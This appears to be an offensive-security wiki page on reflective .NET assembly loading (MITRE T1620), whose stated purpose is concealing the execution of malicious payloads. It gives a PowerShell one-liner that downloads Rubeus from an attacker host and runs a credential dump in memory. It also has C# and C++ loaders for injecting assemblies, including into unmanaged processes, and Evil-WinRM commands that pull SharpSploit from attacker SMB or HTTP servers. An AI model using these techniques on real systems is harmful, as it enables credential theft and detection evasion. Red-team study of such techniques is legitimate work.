Loading .NET Reflective Assembly
MITRE ATT&CK™ Reflective Code Loading - Technique T1620
Theory
We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process without calling the standard Windows APIs.
Practice
Powershell
We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using [System.Reflection.Assembly]
When reflectively loading .NET assembly (exe or dll), we have access to all it's classes and methods directely from powershell.
We can find lot of C# offensive tools on the SharpCollection Github repository that we may reflectively load. As example, we will take Rubeus.
On the Windows Tartget, via powershell, load the .NET assembly:
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)
#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))We can now call its methods
[Rubeus.Program]::Main("dump /user:administrator".Split())C#
We can implement Reflective Assembly Loading in C# and load the .NET assembly of a exe/dll.
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the Assembly.Load() method
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");
string[] fileArgs = { "arg1", "arg2", "argX" };
ExecuteAssembly(fileBytes, fileArgs);
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
// Load the assembly
Assembly assembly = Assembly.Load(assemblyBytes);
// Find the Entrypoint or "Main" method
MethodInfo method = assembly.EntryPoint;
// Get the parameters
object[] parameters = new[] { param };
// Invoke the method with its parameters
object execute = method.Invoke(null, parameters);
}
}
}Compile it, and execute it
PS > AssemblyLoader.exe
Hi arg1!
Hi arg2!
Hi argX!C/C++
It possible to inject .NET assemblies (.exe and .dll) into an unmanaged process (not C# process) and invoke their methods.
Common Language Runtime (CLR) is the name chosen by Microsoft for the virtual machine component of the .NET framework. It is Microsoft's implementation of the Common Language Infrastructure (CLI) standard, which defines the execution environment for program code.
At a high level, it works as follows:
-
CLRCreateInstanceis used to retrieve an interface ICLRMetaHost ICLRMetaHost->GetRuntimeis used to retrieve ICLRRuntimeInfo interface for a specified CLR versionICLRRuntimeInfo->GetInterfaceis used to load the CLR into the current process and retrieve an interface ICLRRuntimeHostICLRRuntimeHost->Startis used to initialize the CLR into the current processICLRRuntimeHost->ExecuteInDefaultAppDomainis used to load the C# .NET assembly and call a particular method with an optionally provided argument
managed.csis a C# program that is loaded by the unmanaged process.unmanaged.cppis a C++ program that loads a C# assembly (managed.exe). It invoks viaExecuteInDefaultAppDomainthespotlessMethodmethod from the C# assembly
// code stolen from https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process
#include <iostream>
#include <metahost.h>
#include <corerror.h>
#pragma comment(lib, "mscoree.lib")
int main()
{
ICLRMetaHost* metaHost = NULL;
ICLRRuntimeInfo* runtimeInfo = NULL;
ICLRRuntimeHost* runtimeHost = NULL;
DWORD pReturnValue;
CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost);
metaHost->GetRuntime(L"v4.0.30319", IID_ICLRRuntimeInfo, (LPVOID*)&runtimeInfo);
runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost);
runtimeHost->Start();
HRESULT res = runtimeHost->ExecuteInDefaultAppDomain(L"C:\\labs\\Csharp\\managed.exe", L"managed.Program", L"spotlessMethod", L"test", &pReturnValue);
if (res == S_OK)
{
std::cout << "CLR executed successfully\n";
}
runtimeInfo->Release();
metaHost->Release();
runtimeHost->Release();
return 0;
}Compile it and execute it
PS > unmanaged.exe
Hi from CLR
CLR executed successfullyTools
If we can access the target through WinRM, we can use the built-in commands to load dll libraries and binaries in memory.
Dll-Loader
We can use Dll-Loader to load dll in memory. The dll file can be hosted by smb, http or locally. Once it is loaded type menu, then it is possible to autocomplete all functions.
#Load dll from the victime disk
*Evil-WinRM* PS C:\> Dll-Loader -local -path C:\Users\Pepito\Desktop\SharpSploit.dll
#Load dll from SMB server
*Evil-WinRM* PS C:\> Dll-Loader -smb -path \\<ATTACKING_IP>\Share\SharpSploit.dll
#Load dll from HTTP server
*Evil-WinRM* PS C:\> Dll-Loader -http -path http://<ATTACKING_IP>/SharpSploit.dll
#Call methods
*Evil-WinRM* PS C:\> [SharpSploit.Enumeration.Host]::GetProcessList()Invoke-Binary
We can use Invoke-Binary to load a local (on attacking host) .NET binary in memory.
#Load local .NET binary
*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe